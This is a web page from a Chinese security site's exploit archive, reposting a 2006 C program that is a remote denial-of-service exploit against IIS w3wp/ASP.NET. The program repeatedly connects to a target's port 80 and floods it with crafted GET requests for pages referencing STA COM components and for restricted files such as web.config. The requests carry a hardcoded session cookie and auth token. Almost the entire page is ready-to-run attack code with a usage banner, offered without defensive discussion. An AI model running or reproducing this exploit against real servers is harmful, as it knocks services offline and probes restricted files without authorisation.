首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
w3wp remote DoS exploit due to improper reference of STA COM components in ASP.N
来源:http://hackingspirits.com/ 作者:Debasis 发布时间:2006-04-10  

// w3wp-dos.c
//

#include "stdafx.h"

#pragma comment (lib,"ws2_32")

#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <stdio.h>
#include <ctype.h>

char * pszUnauthLinks(DWORD);

#define portno 80

int main(int argc, CHAR* argv[])
{
char szWorkBuff[100];
DWORD dwCount = 0, dwCounter;
int iCnt = 0, iCount = 0;

SOCKET conn_socket;
WSADATA wsaData;
struct sockaddr_in sin;
struct hostent *phostent;
char *pszTargetHost = new char[MAX_PATH];
UINT uAddr;

if (argc<2)
{
printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");

printf("\nUsage: w3wpdos <HostIP / HostName> \n\n");

exit(0);
}

int iRetval;
if((iRetval = WSAStartup(0x202,&wsaData)) != 0) {
printf( "WSAStartup failed with error %d\n",iRetval);
WSACleanup(); exit(1); }

// Make a check on the length of the parameter provided
if (strlen(argv[1]) > MAX_PATH) {
printf( "Too long parameter ....\n"); exit(1); }
else
strcpy(pszTargetHost, argv[1]);

// Resolve the hostname into IP address or vice-versa
if(isalpha(pszTargetHost[0]))
phostent = gethostbyname(pszTargetHost);
else {
uAddr = inet_addr(pszTargetHost);
phostent = gethostbyaddr((char *)&uAddr,4,AF_INET);

if(phostent != NULL)
wsprintf( pszTargetHost, "[+] %s", phostent->h_name);
else {
printf( "Failed to resolve IP address, please provide host name.\n" );
WSACleanup();
exit(1);
}
}

if (phostent == NULL ) {
printf("Cannot resolve address [%s]: Error %d\n", pszTargetHost,
WSAGetLastError());

WSACleanup();
printf( "Target host seems to be down or the program failed to resolve host name.");
printf( "Press enter to exit" );

getchar();
exit(1); }

// Initialise Socket info
memset(&sin,0,sizeof(sin));
memcpy(&(sin.sin_addr),phostent->h_addr,phostent->h_length);
sin.sin_family = phostent->h_addrtype;
sin.sin_port = htons(portno);

conn_socket = socket(AF_INET, SOCK_STREAM, 0);
if (conn_socket < 0 ) {
printf("Error Opening socket: Error %d\n", WSAGetLastError());
WSACleanup();

return -1;}

printf("============================================\n");
printf("\t\t w3wp-dos by Debasis Mohanty\n");
printf("\t\t www.hackingspirits.com\n");
printf("============================================\n");

printf("[+] Host name: %s\n", pszTargetHost);
wsprintf( szWorkBuff, "%u.%u.%u.%u",
sin.sin_addr.S_un.S_un_b.s_b1,
sin.sin_addr.S_un.S_un_b.s_b2,
sin.sin_addr.S_un.S_un_b.s_b3,
sin.sin_addr.S_un.S_un_b.s_b4 );
printf("[+] Host IP: %s\n", szWorkBuff);

closesocket(conn_socket);

printf("[+] Ready to generate requests\n");

/* The count should be modified depending upon the
number of links in the szBuff array */
while(dwCount++ < 10)
{

conn_socket = socket(AF_INET, SOCK_STREAM, 0);
memcpy(phostent->h_addr, (char *)&sin.sin_addr, phostent->h_length);
sin.sin_family = AF_INET;
sin.sin_port = htons(portno);

if(connect(conn_socket, (struct sockaddr*)&sin,sizeof(sin))!=0)
perror("connect");

printf( "[%i] %s", dwCount, pszUnauthLinks(dwCount));
for(dwCounter=1;dwCounter < 9;dwCounter++)
{
send(conn_socket,pszUnauthLinks(dwCount), strlen(pszUnauthLinks(dwCount)),0);

char *szBuffer = new char[256];
recv(conn_socket, szBuffer, 256, 0);
printf(".");
// if( szBuffer != NULL)
// printf("%s", szBuffer);
delete szBuffer;
Sleep(100);
}
printf("\n");
closesocket(conn_socket);
}

return 1;
}


char * pszUnauthLinks( DWORD dwIndex )
{
char *szBuff[10];
TCHAR *szGetReqH = new char[1024];

/* Modify the list of links given below to your asp.net links. The list should carry links which refer to any COM components and as well as other restricted links under the asp.net app path. */

szBuff[1] = "GET /aspnet-app\\web.config";
szBuff[2] = "GET /aspnet-app\\../aspnetlogs\\log1.logs";
szBuff[3] = "GET /aspnet-app\\default-userscreen.aspx";
szBuff[4] = "GET /aspnet-app\\users/config.aspx";
szBuff[5] = "GET /aspnet-app\\links/anycomref.aspx"; //
szBuff[6] = "GET /aspnet-app\\com-ref-link1.aspx"; // Links of pages referring
szBuff[7] = "GET /aspnet-app\\com-ref-link2.aspx"; // COM components.
szBuff[8] = "GET /aspnet-app\\com-ref-link3.aspx"; //
szBuff[9] = "GET /aspnet-app\\com-ref-link4.aspx"; //

/* Prepare the GET request for the desired link */
strcpy(szGetReqH, szBuff[dwIndex]);
strcat(szGetReqH, " HTTP/1.1\r\n");
strcat(szGetReqH, "Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n");
strcat(szGetReqH, "Accept-Language: en-us\r\n");
strcat(szGetReqH, "Accept-Encoding: gzip, deflate\r\n");
strcat(szGetReqH, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)\r\n");
strcat(szGetReqH, "Host: \r\n" );
strcat(szGetReqH, "Connection: Keep-Alive\r\n" );

/* Insert a valid Session Cookie and ASPVIEWSTATE to get more effective result */
strcat(szGetReqH, "Cookie: ASP.NET_SessionId=35i2i02dtybpvvjtog4lh0ri;\r\n" );
strcat(szGetReqH, ".ASPXAUTH=6DCE135EFC40CAB2A3B839BF21012FC6C619EB88C866A914ED9F49D67B0D01135F744632F1CC480589912023FA6D703BF02680BE6D733518A998AD1BE1FCD082F1CBC4DB54870BFE76AC713AF05B971D\r\n\r\n" );

// return szBuff[dwIndex];
return szGetReqH;
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Linux Kernel 2.6.x sys_timer_c
·PHPList <= 2.10.2 GLOBALS[]
·XBrite Members <= 1.1 (id)
·Horde <= 3.0.9, 3.1.0 (Help
·ADODB < 4.70 (PhpOpenChat 3
·phpBB <= 2.0.19 (user_sig_b
·ADODB < 4.70 (tmssql.php) D
·ClansyS 1.1 (showid) Remote SQ
·Horde Help Viewer <= 3.1 Re
·Simplog <= 0.9.2 (s) Remote
·phpMyChat <= 0.14.5 (SYS en
·Horde <= 3.0.9, 3.1.0 (Help
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved